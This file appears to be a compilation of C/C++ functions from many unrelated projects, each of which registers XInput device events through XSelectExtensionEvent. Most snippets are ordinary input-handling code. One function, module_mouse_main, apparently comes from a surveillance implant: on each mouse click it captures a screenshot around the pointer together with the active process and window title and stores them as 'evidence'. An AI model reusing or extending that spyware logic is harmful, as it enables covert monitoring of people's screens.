static void
add_device_presence_filter (GsdPointingDeviceManager *manager)
{
Display *display;
XEventClass class_presence;
gint xi_presence;
gint op_code, event, error;
if (!XQueryExtension(GDK_DISPLAY(),
"XInputExtension",
&op_code,
&event,
&error)) {
return;
}
display = gdk_x11_get_default_xdisplay();
gdk_error_trap_push();
DevicePresence(display, xi_presence, class_presence);
XSelectExtensionEvent(display,
RootWindow(display, DefaultScreen(display)),
&class_presence, 1);
gdk_flush();
if (!gdk_error_trap_pop())
gdk_window_add_filter(NULL, device_presence_filter, manager);
}
static int
register_events(Display *dpy,
XDeviceInfo *info,
char *dev_name,
Bool handle_proximity)
{
int number = 0; /* number of events registered */
XEventClass event_list[7];
int i;
XDevice *device;
Window root_win;
unsigned long screen;
XInputClassInfo *ip;
screen = DefaultScreen(dpy);
root_win = RootWindow(dpy, screen);
device = XOpenDevice(dpy, info->id);
if (!device) {
fprintf(stderr, "unable to open device '%s'\n", dev_name);
return 0;
}
if (device->num_classes > 0) {
for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) {
switch (ip->input_class) {
case KeyClass:
DeviceKeyPress(device, key_press_type, event_list[number]); number++;
DeviceKeyRelease(device, key_release_type, event_list[number]); number++;
break;
case ButtonClass:
DeviceButtonPress(device, button_press_type, event_list[number]); number++;
DeviceButtonRelease(device, button_release_type, event_list[number]); number++;
break;
case ValuatorClass:
DeviceMotionNotify(device, motion_type, event_list[number]); number++;
if (handle_proximity) {
ProximityIn(device, proximity_in_type, event_list[number]); number++;
ProximityOut(device, proximity_out_type, event_list[number]); number++;
}
break;
default:
fprintf(stderr, "unknown class\n");
break;
}
}
if (XSelectExtensionEvent(dpy, root_win, event_list, number)) {
fprintf(stderr, "error selecting extended events\n");
return 0;
}
}
return number;
}
int XInputEventNotifier::registerForNewDeviceEvent(Display* display)
{
int xitype;
XEventClass xiclass;
DevicePresence(display, xitype, xiclass);
XSelectExtensionEvent(display, DefaultRootWindow(display), &xiclass, 1);
kDebug() << "Registered for new device events from XInput, class" << xitype;
xinputEventType = xitype;
return xitype;
}
bool KeyMonitor::registerEvents()
{
unsigned long screen;
Window window;
XDeviceInfo *devices;
int num_devices;
int i, j;
XDevice *device;
XInputClassInfo *info;
XEventClass event_class;
m_display = XOpenDisplay(NULL);
screen = DefaultScreen(m_display);
window = RootWindow(m_display, screen);
devices = XListInputDevices(m_display, &num_devices);
for(i=0; i<num_devices; i++) {
device = XOpenDevice(m_display, devices[i].id);
if (device == NULL) {
/* That's not critical since "Virtual core..." devices don't
allow opening. */
UQ_DEBUG << "Could not open device: " << devices[i].name;
continue;
}
if (devices[i].use == IsXExtensionKeyboard) {
for (info=device->classes, j=0; j < device->num_classes; j++, info++) {
if (info->input_class == KeyClass) {
DeviceKeyPress(device, key_press_type, event_class);
m_eventList.append(event_class);
DeviceMappingNotify(device, notify_type, event_class);
m_eventList.append(event_class);
}
}
}
}
if (m_eventList.size() == 0) {
UQ_WARNING << "No input devices found.";
return false;
}
if (XSelectExtensionEvent(m_display, window, m_eventList.data(), m_eventList.size())) {
UQ_WARNING << "Error selecting events.";
return false;
}
return true;
}
static int
register_events(XDeviceInfo *info, XDevice *device,
Bool handle_proximity)
{
int number = 0; /* number of events registered */
XEventClass event_list[7];
int i;
unsigned long screen;
XInputClassInfo *ip;
screen = DefaultScreen(display);
if (device->num_classes > 0) {
for (ip = device->classes, i=0; i<info->num_classes;
ip++, i++) {
switch (ip->input_class) {
case ButtonClass:
DeviceButtonPress(device, button_press_type,
event_list[number]);
number++;
DeviceButtonRelease(device,
button_release_type, event_list[number]);
number++;
break;
case ValuatorClass:
DeviceMotionNotify(device, motion_type,
event_list[number]); number++;
if (handle_proximity) {
ProximityIn(device, proximity_in_type,
event_list[number]); number++;
ProximityOut(device,
proximity_out_type,
event_list[number]); number++;
}
break;
default:
fprintf(stderr,
"Found unknown device class %d\n",
ip->input_class);
break;
}
}
if (XSelectExtensionEvent(display, root, event_list, number)) {
fprintf(stderr, "Error selecting extended events\n");
return 0;
}
}
return number;
}
int watch_props(Display *dpy, int argc, char** argv, char* n, char *desc)
{
XDevice *dev;
XDeviceInfo *info;
XEvent ev;
XDevicePropertyNotifyEvent *dpev;
char *name;
int type_prop;
XEventClass cls_prop;
if (list_props(dpy, argc, argv, n, desc) != EXIT_SUCCESS)
return EXIT_FAILURE;
info = find_device_info(dpy, argv[0], False);
if (!info)
{
fprintf(stderr, "unable to find device %s\n", argv[0]);
return EXIT_FAILURE;
}
dev = XOpenDevice(dpy, info->id);
if (!dev)
{
fprintf(stderr, "unable to open device '%s'\n", info->name);
return EXIT_FAILURE;
}
DevicePropertyNotify(dev, type_prop, cls_prop);
XSelectExtensionEvent(dpy, DefaultRootWindow(dpy), &cls_prop, 1);
while(1)
{
XNextEvent(dpy, &ev);
dpev = (XDevicePropertyNotifyEvent*)&ev;
if (dpev->type != type_prop)
continue;
name = XGetAtomName(dpy, dpev->atom);
printf("Property '%s' changed.\n", name);
print_property(dpy, dev, dpev->atom);
}
XCloseDevice(dpy, dev);
}
void
_clutter_input_device_x11_select_events (ClutterInputDevice *device,
ClutterBackendX11 *backend_x11,
Window xwin)
{
#if HAVE_XINPUT
ClutterInputDeviceX11 *device_x11;
device_x11 = CLUTTER_INPUT_DEVICE_X11 (device);
if (device_x11->xdevice == None || device_x11->num_events == 0)
return;
XSelectExtensionEvent (backend_x11->xdpy, xwin,
device_x11->xevent_list,
device_x11->num_events);
#endif /* HAVE_XINPUT */
}
void evdevEventsActivationWorkaround(WId window)
{
/**
* Evdev devices send us events *only* in case we requested
* them for every window which desires to get them, so just
* do it as it wants
*/
static QSet<WId> registeredWindows;
if (registeredWindows.contains(window)) return;
registeredWindows.insert(window);
QTabletDeviceDataList *tablets = qt_tablet_devices();
for (int i = 0; i < tablets->size(); ++i) {
QTabletDeviceData &tab = tablets->operator [](i);
XSelectExtensionEvent(KIS_X11->display,
window,
tab.eventList,
tab.eventCount);
}
}
int main(int argc, char **argv)
{
Display *display = NULL;
int device = -1;
int newmouse = -1;
int newkbd = -1;
int count;
int i, j;
XDeviceInfo *devInfo;
XExtensionVersion *ext;
if (argc == 2 || argc == 3 || argc == 4 || argc == 5) {
if (!(display = XOpenDisplay(argv[1]))) {
printf("Cannot open display %s\n", argv[1]);
return -1;
}
if (argc >= 3) device = strtol(argv[2], NULL, 0);
if (argc >= 4) newmouse = strtol(argv[3], NULL, 0);
if (argc >= 5) newkbd = strtol(argv[4], NULL, 0);
} else {
printf("Usage: %s display [device] [newmouse] [newkbd]\n", argv[0]);
return -1;
}
if (!display && !(display = XOpenDisplay(NULL))) {
printf("Cannot open default display\n");
return -1;
}
ext = XGetExtensionVersion(display, INAME);
if (!ext || ext == (XExtensionVersion *)NoSuchExtension) {
printf("No XInputExtension\n");
return -1;
}
printf("%s version %d.%d\n",
INAME, ext->major_version, ext->minor_version);
if (!(devInfo = XListInputDevices(display, &count)) || !count) {
printf("Cannot list devices\n");
return -1;
}
for (i = 0; i < count; i++) {
XAnyClassPtr any;
const char *kind = "Unknown";
int has_key = 0;
switch (devInfo[i].use) {
case IsXPointer: kind = "XPointer"; break;
case IsXKeyboard: kind = "XKeyboard"; break;
case IsXExtensionDevice: kind = "XExtensionDevice"; break;
}
printf("%2lu %-20.20s %-16.16s",
(long unsigned)devInfo[i].id,
devInfo[i].name ? devInfo[i].name : "", kind);
for (j = 0, any = devInfo[i].inputclassinfo;
j < devInfo[i].num_classes;
any = (XAnyClassPtr)((char *)any + any->length), j++) {
const char *class = "unk";
switch (any->class) {
case KeyClass: class = "key"; ++has_key; break;
case ButtonClass: class = "btn"; break;
case ValuatorClass: class = "val"; break;
case FeedbackClass: class = "fdb"; break;
case ProximityClass: class = "prx"; break;
case FocusClass: class = "foc"; break;
case OtherClass: class = "oth"; break;
}
printf(" %s", class);
}
printf("\n");
printdmxinfo(display, i);
if (has_key) {
XkbDescPtr xkb;
if ((xkb = XkbGetKeyboard(display,
XkbAllComponentsMask,
devInfo[i].id))) {
printf(" Xkb Information:\n");
printf(" Device id = %d\n", xkb->device_spec);
printf(" Min keycode = 0x%02x\n", xkb->min_key_code);
printf(" Max keycode = 0x%02x\n", xkb->max_key_code);
#define PRINTNAME(x) \
printf(" %s = %s\n", \
#x, xkb->names->x ? XGetAtomName(display, xkb->names->x) : "")
PRINTNAME(keycodes);
PRINTNAME(geometry);
PRINTNAME(symbols);
PRINTNAME(types);
PRINTNAME(compat);
}
}
}
if (newmouse >= 0) {
XDevice *dev;
printf("Trying to make device %d core mouse\n", newmouse);
dev = XOpenDevice(display, devInfo[newmouse].id);
printf("Status = %d\n",
XChangePointerDevice(display, dev, 0, 1));
return 0;
}
if (newkbd >= 0) {
XDevice *dev;
printf("Trying to make device %d core keyboard\n", newkbd);
dev = XOpenDevice(display, devInfo[newkbd].id);
printf("Status = %d\n",
XChangeKeyboardDevice(display, dev));
return 0;
}
if (device >=0){
#define MAX_EVENTS 100
int cnt = 0;
XDevice *dev;
XEventClass event_list[MAX_EVENTS];
int event_type[MAX_EVENTS];
const char *names[MAX_EVENTS];
int total = 0;
#define ADD(type) \
if (cnt >= MAX_EVENTS) abort(); \
names[cnt] = #type; \
type(dev, event_type[cnt], event_list[cnt]); \
if (event_type[cnt]) ++cnt
dev = XOpenDevice(display, devInfo[device].id);
ADD(DeviceKeyPress);
ADD(DeviceKeyRelease);
ADD(DeviceButtonPress);
ADD(DeviceButtonRelease);
ADD(DeviceMotionNotify);
ADD(DeviceFocusIn);
ADD(DeviceFocusOut);
ADD(ProximityIn);
ADD(ProximityOut);
ADD(DeviceStateNotify);
ADD(DeviceMappingNotify);
ADD(ChangeDeviceNotify);
for (i = 0; i < cnt; i++) {
printf("Waiting for %s events of type %d (%lu) on 0x%08lx\n",
names[i],
event_type[i], (unsigned long)event_list[i],
(long unsigned)DefaultRootWindow(display));
}
XSelectExtensionEvent(display, DefaultRootWindow(display),
event_list, cnt);
for (;;) {
XEvent event;
XNextEvent(display, &event);
for (i = 0; i < cnt; i++) {
XDeviceMotionEvent *e = (XDeviceMotionEvent *)&event;
XDeviceButtonEvent *b = (XDeviceButtonEvent *)&event;
if (event.type == event_type[i]) {
printf("%s id=%lu (%d @ %d,%d; s=0x%04x, d=%d, t=%lu)"
" axes_count=%d first=%d %d %d %d %d %d %d\n",
names[i],
(long unsigned)e->deviceid,
e->type,
e->x, e->y,
e->device_state,
b->button,
(long unsigned)b->time,
e->axes_count,
e->first_axis,
e->axis_data[0],
e->axis_data[1],
e->axis_data[2],
e->axis_data[3],
e->axis_data[4],
e->axis_data[5]);
}
}
++total;
#if 0
/* Used to check motion history for
* extension devices. */
if (!(total % 10)) {
XDeviceTimeCoord *tc;
int n, m, a;
struct timeval tv;
unsigned long ms;
gettimeofday(&tv, NULL);
ms = tv.tv_sec * 1000 + tv.tv_usec / 1000;
tc = XGetDeviceMotionEvents(display, dev, ms-1000, ms,
&n, &m, &a);
printf("Got %d events of mode %s with %d axes\n",
n, m == Absolute ? "Absolute" : "Relative", a);
for (i = 0; i < n && i < 10; i++) {
printf(" %d: %lu %d %d\n",
i, tc[i].time, tc[i].data[0], tc[i].data[1]);
}
XFreeDeviceMotionEvents(tc);
}
#endif
}
}
XCloseDisplay(display);
return 0;
}
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput
(JNIEnv *env, jobject obj)
{
jclass cls, eidcls;
jfieldID fid;
jmethodID mid;
Display *dpy = NULL;
Window win = 0;
XDeviceInfo *devInfo = NULL;
XDevice *device = NULL;
int nDevices = 0, i, ci, ai, nEvents = 0;
int buttonPressType = -1, buttonReleaseType = -1, motionType = -1;
XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};
jobject extInputDevice;
if ((dpy = XOpenDisplay(NULL)) == NULL)
_throw("Could not open X display");
bailif0(cls = (*env)->GetObjectClass(env, obj));
bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J"));
if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0)
_throw("X window handle has not been initialized");
if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL)
_throw("Could not list XI devices");
for (i = 0; i < nDevices; i++) {
char *type;
XAnyClassPtr classInfo = devInfo[i].inputclassinfo;
CARD32 canGenerate = 0, productID = 0;
if (devInfo[i].use != IsXExtensionPointer)
continue;
if (devInfo[i].type == None)
continue;
type = XGetAtomName(dpy, devInfo[i].type);
if (!strcmp(type, "MOUSE")) {
XFree(type);
continue;
}
/* TurboVNC-specific: we use productID to represent the device type, so
we can recreate it on the server */
if (!strcmp(type, "CURSOR"))
productID = rfbGIIDevTypeCursor;
else if (!strcmp(type, "STYLUS"))
productID = rfbGIIDevTypeStylus;
else if (!strcmp(type, "ERASER"))
productID = rfbGIIDevTypeEraser;
else if (!strcmp(type, "TOUCH"))
productID = rfbGIIDevTypeTouch;
else if (!strcmp(type, "PAD"))
productID = rfbGIIDevTypePad;
XFree(type);
bailif0(eidcls =
(*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice"));
bailif0(extInputDevice = (*env)->AllocObject(env, eidcls));
SET_STRING(eidcls, extInputDevice, name, devInfo[i].name);
SET_LONG(eidcls, extInputDevice, vendorID, 4242);
SET_LONG(eidcls, extInputDevice, productID, productID);
SET_LONG(eidcls, extInputDevice, id, devInfo[i].id);
for (ci = 0; ci < devInfo[i].num_classes; ci++) {
switch (classInfo->class) {
case ButtonClass:
{
XButtonInfoPtr b = (XButtonInfoPtr)classInfo;
SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons);
canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask;
break;
}
case ValuatorClass:
{
XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo;
jclass valcls;
bailif0(valcls = (*env)->FindClass(env,
"com/turbovnc/rfb/ExtInputDevice$Valuator"));
if (v->mode == Absolute)
canGenerate |= rfbGIIValuatorAbsoluteMask;
else if (v->mode == Relative)
canGenerate |= rfbGIIValuatorRelativeMask;
for (ai = 0; ai < v->num_axes; ai++) {
jobject valuator;
XAxisInfoPtr a = &v->axes[ai];
char longName[75], shortName[5];
bailif0(valuator = (*env)->AllocObject(env, valcls));
SET_INT(valcls, valuator, index, ai);
snprintf(longName, 75, "Valuator %d", ai);
SET_STRING(valcls, valuator, longName, longName);
snprintf(shortName, 5, "%d", ai);
SET_STRING(valcls, valuator, shortName, shortName);
SET_INT(valcls, valuator, rangeMin, a->min_value);
SET_INT(valcls, valuator, rangeCenter,
(a->min_value + a->max_value) / 2);
SET_INT(valcls, valuator, rangeMax, a->max_value);
SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength);
SET_INT(valcls, valuator, siDiv, a->resolution);
bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator",
"(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V"));
(*env)->CallVoidMethod(env, extInputDevice, mid, valuator);
}
break;
}
}
classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length);
}
SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate);
if (canGenerate & rfbGIIValuatorAbsoluteMask)
SET_BOOL(eidcls, extInputDevice, absolute, 1);
if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL)
_throw("Could not open XI device");
for (ci = 0; ci < device->num_classes; ci++) {
if (device->classes[ci].input_class == ButtonClass) {
DeviceButtonPress(device, buttonPressType, events[nEvents]);
nEvents++;
DeviceButtonRelease(device, buttonReleaseType, events[nEvents]);
nEvents++;
} else if (device->classes[ci].input_class == ValuatorClass) {
DeviceMotionNotify(device, motionType, events[nEvents]);
nEvents++;
}
}
XCloseDevice(dpy, device); device=NULL;
bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice",
"(Lcom/turbovnc/rfb/ExtInputDevice;)V"));
(*env)->CallVoidMethod(env, obj, mid, extInputDevice);
}
XFreeDeviceList(devInfo); devInfo = NULL;
if (nEvents == 0) {
printf("No extended input devices.\n");
goto bailout;
}
if (XSelectExtensionEvent(dpy, win, events, nEvents))
_throw("Could not select XI events");
SET_INT(cls, obj, buttonPressType, buttonPressType);
SET_INT(cls, obj, buttonReleaseType, buttonReleaseType);
SET_INT(cls, obj, motionType, motionType);
SET_LONG(cls, obj, x11dpy, (jlong)dpy);
printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n",
DisplayString(dpy), (unsigned int)win);
bailout:
if (dpy && device) XCloseDevice(dpy, device);
if (devInfo) XFreeDeviceList(devInfo);
}
void *module_mouse_main(void *args)
{
Display *display = NULL;
int i, devnum = 0, mousenum = 0, buttonrelease = 0;
XDeviceInfo *devinfo = NULL;
XDevice **device = NULL;
XEventClass evlist;
XEvent event;
Window root, child;
int rootX, rootY, childX, childY;
unsigned int mask;
XWindowAttributes wininfo;
int maxfd = -1, xfd = -1;
int width = 40, height = 40;
char *process = NULL, *title = NULL;
int imgx, imgy, imgw, imgh;
fd_set rfds;
struct additional a;
BIO *bio_additional = NULL;
char *additionalptr, *dataptr = NULL;
long additionallen, datalen = 0;
debugme("Module MOUSE started\n");
if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;
if(MODULE_MOUSE_P) {
width = MODULE_MOUSE_P->width;
height = MODULE_MOUSE_P->height;
}
do {
if((display = XOpenDisplay(NULL)) == NULL) break;
if((xfd = ConnectionNumber(display)) < 0) break;
if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
if(!(bio_additional = BIO_new(BIO_s_mem()))) break;
for(i = 0; i < devnum; i++) {
if(devinfo[i].use == IsXExtensionPointer) {
if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
DeviceButtonRelease(device[i], buttonrelease, evlist);
XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
mousenum++;
}
}
if(!mousenum) break;
maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;
while(MODULE_MOUSE.status != MODULE_STOPPING) {
do {
if(!XPending(display)) {
FD_ZERO(&rfds);
FD_SET(xfd, &rfds);
FD_SET(MODULE_MOUSE.event, &rfds);
if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
}
if(MODULE_MOUSE.status == MODULE_STOPPING) break;
if(XNextEvent(display, &event)) break;
if(event.type != buttonrelease) break;
if(((XDeviceButtonEvent *)&event)->button > 3) break;
XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
getwindowproperties(display, getactivewindow(display), &process, &title);
debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);
imgx = MAX(rootX - (width / 2), 0);
imgy = MAX(rootY - (height / 2), 0);
imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;
a.version = MOUSEMODULE_VERSION;
a.processlen = strlen16(process) + 2;
a.titlelen = strlen16(title) + 2;
a.x = rootX;
a.y = rootY;
a.width = imgw;
a.height = imgh;
(void)BIO_reset(bio_additional);
BIO_write(bio_additional, &a, sizeof(a));
BIO_puts16n(bio_additional, process);
BIO_puts16n(bio_additional, title);
if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;
evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
} while(0);
if(dataptr) { free(dataptr); dataptr = NULL; }
if(process) { free(process); process = NULL; }
if(title) { free(title); title = NULL; }
}
} while(0);
if(bio_additional) BIO_free(bio_additional);
if(device) {
for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
free(device);
}
if(devinfo) XFreeDeviceList(devinfo);
if(display) XCloseDisplay(display);
debugme("Module MOUSE stopped\n");
return NULL;
}
/* this piece of code was taken from package xinput-1.12 */
static int
register_events(int player_id,
Display *dpy,
XDeviceInfo *info,
char *dev_name)
{
int number = 0; /* number of events registered */
XEventClass event_list[7];
int i;
XAnyClassPtr any;
XDevice *device;
Window root_win;
unsigned long screen;
XInputClassInfo *ip;
XButtonInfoPtr binfo;
XValuatorInfoPtr vinfo;
screen = DefaultScreen(dpy);
root_win = RootWindow(dpy, screen);
device = XOpenDevice(dpy, info->id);
if (!device) {
fprintf(stderr, "XInput: Unable to open XInput device `%s'\n", dev_name);
return 0;
}
fprintf(stderr, "XInput: Player %d using Device `%s'", player_id + 1, dev_name);
if (device->num_classes > 0) {
any = (XAnyClassPtr)(info->inputclassinfo);
for (ip = device->classes, i=0; i<info->num_classes; ip++, i++) {
switch (ip->input_class) {
case KeyClass:
DeviceKeyPress(device, key_press_type, event_list[number]); number++;
DeviceKeyRelease(device, key_release_type, event_list[number]); number++;
break;
case ButtonClass:
binfo = (XButtonInfoPtr) any;
DeviceButtonPress(device, button_press_type, event_list[number]); number++;
DeviceButtonRelease(device, button_release_type, event_list[number]); number++;
fprintf(stderr, ", %d buttons", binfo->num_buttons);
break;
case ValuatorClass:
vinfo=(XValuatorInfoPtr) any;
DeviceMotionNotify(device, motion_type, event_list[number]); number++;
fprintf(stderr, ", %d axis", vinfo->num_axes);
break;
default:
break;
}
any = (XAnyClassPtr) ((char *) any+any->length);
}
if (XSelectExtensionEvent(dpy, root_win, event_list, number)) {
fprintf(stderr, ": Could not select extended events, not using");
number = 0;
}
} else
fprintf(stderr, " contains no classes, not using");
fprintf(stderr, "\n");
return number;
}
int
snoop_xinput(Window win)
{
int opcode, event, error, numdevs, i, j;
int major, minor, rc, rawmotion = 0;
int ev = 0;
unsigned char mask[(XI_LASTEVENT + 7)/8];
XDeviceInfo *devinfo;
XInputClassInfo *ici;
XDevice *device;
XIEventMask evmasks[1];
if (!XQueryExtension(dpy, "XInputExtension", &opcode, &event, &error)) {
if (debug)
warn("XInput extension not available");
return (0);
}
/*
* If we support xinput 2, use that for raw motion and button events to
* get pointer data when the cursor is over a Chromium window. We
* could also use this to get raw key input and avoid the other XInput
* stuff, but we may need to be able to examine the key value later to
* filter out ignored keys.
*/
major = minor = 2;
rc = XIQueryVersion(dpy, &major, &minor);
if (rc != BadRequest) {
memset(mask, 0, sizeof(mask));
XISetMask(mask, XI_RawMotion);
XISetMask(mask, XI_RawButtonPress);
evmasks[0].deviceid = XIAllMasterDevices;
evmasks[0].mask_len = sizeof(mask);
evmasks[0].mask = mask;
XISelectEvents(dpy, win, evmasks, 1);
XFlush(dpy);
rawmotion = 1;
if (debug)
printf("using xinput2 raw motion events\n");
}
devinfo = XListInputDevices(dpy, &numdevs);
XEventClass event_list[numdevs * 2];
for (i = 0; i < numdevs; i++) {
if (devinfo[i].use != IsXExtensionKeyboard &&
devinfo[i].use != IsXExtensionPointer)
continue;
if (!(device = XOpenDevice(dpy, devinfo[i].id)))
break;
for (ici = device->classes, j = 0; j < devinfo[i].num_classes;
ici++, j++) {
switch (ici->input_class) {
case KeyClass:
if (debug)
printf("attaching to keyboard device "
"%s (use %d)\n", devinfo[i].name,
devinfo[i].use);
DeviceKeyPress(device, key_press_type,
event_list[ev]); ev++;
DeviceKeyRelease(device, key_release_type,
event_list[ev]); ev++;
break;
case ButtonClass:
if (rawmotion)
continue;
if (debug)
printf("attaching to buttoned device "
"%s (use %d)\n", devinfo[i].name,
devinfo[i].use);
DeviceButtonPress(device, button_press_type,
event_list[ev]); ev++;
DeviceButtonRelease(device,
button_release_type, event_list[ev]); ev++;
break;
case ValuatorClass:
if (rawmotion)
continue;
if (debug)
printf("attaching to pointing device "
"%s (use %d)\n", devinfo[i].name,
devinfo[i].use);
DeviceMotionNotify(device, motion_type,
event_list[ev]); ev++;
break;
}
}
if (XSelectExtensionEvent(dpy, win, event_list, ev)) {
warn("error selecting extension events");
return (0);
}
}
return (ev);
}